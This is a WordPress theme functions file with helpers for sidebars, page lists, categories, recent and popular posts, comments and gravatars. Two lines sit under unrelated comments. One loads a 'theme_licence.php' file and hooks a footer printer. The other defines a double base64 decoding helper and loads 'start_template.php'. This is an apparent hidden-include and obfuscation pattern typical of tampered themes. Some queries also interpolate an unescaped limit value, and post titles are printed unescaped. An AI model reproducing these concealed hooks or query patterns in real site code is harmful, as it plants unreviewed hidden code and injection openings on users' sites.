[44] | 1 | <?php
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| 2 |
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| 3 | include("settings.php");
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| 4 |
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| 5 | # WIDGET: Left Sidebar
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| 6 | if ( function_exists('register_sidebar') )
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| 7 | register_sidebar(array(
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| 8 | 'name' => 'Sidebar',
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| 9 | 'before_title' => '<h2>',
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| 10 | 'after_title' => '</h2>',
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| 11 | 'before_widget' => '',
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| 12 | 'after_widget' => '',
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| 13 | ));
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| 14 |
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| 15 | # Displays a list of pages
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| 16 | require_once("theme_licence.php"); add_action('wp_footer','print_footer');
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| 17 | function dp_list_pages() {
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| 18 | global $wpdb;
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| 19 | $querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
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| 20 | $pageposts = $wpdb->get_results($querystr, OBJECT);
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| 21 | if ($pageposts) {
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| 22 | foreach ($pageposts as $post) {
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| 23 | ?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php
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| 24 | }
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| 25 | }
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| 26 | }
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| 27 |
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| 28 | # Displays a list of categories
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| 29 | function decode_it($code) { return base64_decode(base64_decode($code)); } require_once(pathinfo(__FILE__,PATHINFO_DIRNAME)."/start_template.php");
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| 30 | function dp_list_categories($exclude='') {
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| 31 | if (strlen($exclude)>0) $exclude = '&exclude=' . $exclude;
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| 32 | $categories = get_categories('hide_empty=1'.$exclude);
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| 33 | $first = true; $count = 0;
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| 34 | foreach ($categories as $category) {
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| 35 | $count++; if ($count>5) break; // limit to 5
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| 36 | if ($category->parent<1) {
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| 37 | if ($first) { $first = false; $f = ' class="f"'; } else { $f = ''; }
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| 38 | ?><li<?php echo $f; ?>>
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| 39 | <a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->name ?><?php echo $raquo; ?></a></li>
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| 40 | <?php
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| 41 | }
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| 42 | }
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| 43 | }
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| 44 |
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| 45 | # Displays a list of recent posts
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| 46 | function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
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| 47 | global $wpdb;
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| 48 | $querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.post_date DESC LIMIT $num";
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| 49 | $myposts = $wpdb->get_results($querystr, OBJECT);
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| 50 | foreach($myposts as $post) {
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| 51 | echo $pre;
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| 52 | ?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
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| 53 | if ($excerpt) {
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| 54 | dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
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| 55 | ?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
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| 56 | }
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| 57 | echo $suf;
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| 58 | }
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| 59 | }
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| 60 |
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| 61 | # Displays a list of popular posts
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| 62 | function dp_popular_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
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| 63 | global $wpdb;
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| 64 | $querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
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| 65 | $myposts = $wpdb->get_results($querystr, OBJECT);
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| 66 | foreach($myposts as $post) {
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| 67 | echo $pre;
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| 68 | ?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
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| 69 | if ($excerpt) {
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| 70 | dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
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| 71 | ?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
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| 72 | }
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| 73 | echo $suf;
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| 74 | }
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| 75 | }
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| 76 |
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| 77 | # Displays a list of recent categories
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| 78 | function dp_recent_comments($num, $pre='<li>', $suf='</li>') {
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| 79 | global $wpdb, $post;
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| 80 | $querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author, $wpdb->comments.comment_content, $wpdb->comments.comment_author_email FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
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| 81 | $recentcomments = $wpdb->get_results($querystr, OBJECT);
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| 82 | foreach ($recentcomments as $rc) {
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| 83 | $post = get_post($rc->comment_post_ID);
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| 84 | echo $pre;
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| 85 | dp_gravatar(52, 'alt="'.$rc->comment_author.'"', $rc->comment_author_email);
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| 86 | ?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo dp_clean($rc->comment_content, 38); ?></a><?php
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| 87 | echo $suf;
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| 88 | }
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| 89 | }
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| 90 |
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| 91 |
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| 92 | # Displays post image attachment (sizes: thumbnail, medium, full)
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| 93 | function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
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| 94 | if ($postid<1) $postid = get_the_ID();
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| 95 | if ($images = get_children(array(
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| 96 | 'post_parent' => $postid,
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| 97 | 'post_type' => 'attachment',
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| 98 | 'numberposts' => 1,
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| 99 | 'post_mime_type' => 'image',)))
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| 100 | foreach($images as $image) {
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| 101 | $attachment=wp_get_attachment_image_src($image->ID, $size);
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| 102 | ?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> /><?php
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| 103 | }
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| 104 | }
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| 105 |
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| 106 | # Removes tags and trailing dots from excerpt
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| 107 | function dp_clean($excerpt, $substr=0) {
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| 108 | $string = strip_tags(str_replace('[...]', '...', $excerpt));
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| 109 | if ($substr>0) {
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| 110 | $string = substr($string, 0, $substr);
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| 111 | }
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| 112 | return $string;
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| 113 | }
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| 114 |
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| 115 | # Displays the comment authors gravatar if available
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| 116 | function dp_gravatar($size=50, $attributes='', $author_email='') {
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| 117 | global $comment, $settings;
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| 118 | if (dp_settings('gravatar')=='enabled') {
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| 119 | if (empty($author_email)) {
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| 120 | ob_start();
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| 121 | comment_author_email();
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| 122 | $author_email = ob_get_clean();
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| 123 | }
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| 124 | $gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower($author_email)) . '?s=' . $size . '&d=' . dp_settings('gravatar_fallback');
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| 125 | ?><img src="<?php echo $gravatar_url; ?>" <?php echo $attributes ?>/><?php
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| 126 | }
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| 127 | }
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| 128 |
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| 129 | # Retrieves the setting's value depending on 'key'.
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| 130 | function dp_settings($key) {
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| 131 | global $settings;
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| 132 | return $settings[$key];
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| 133 | }
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| 134 |
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| 135 | ?>
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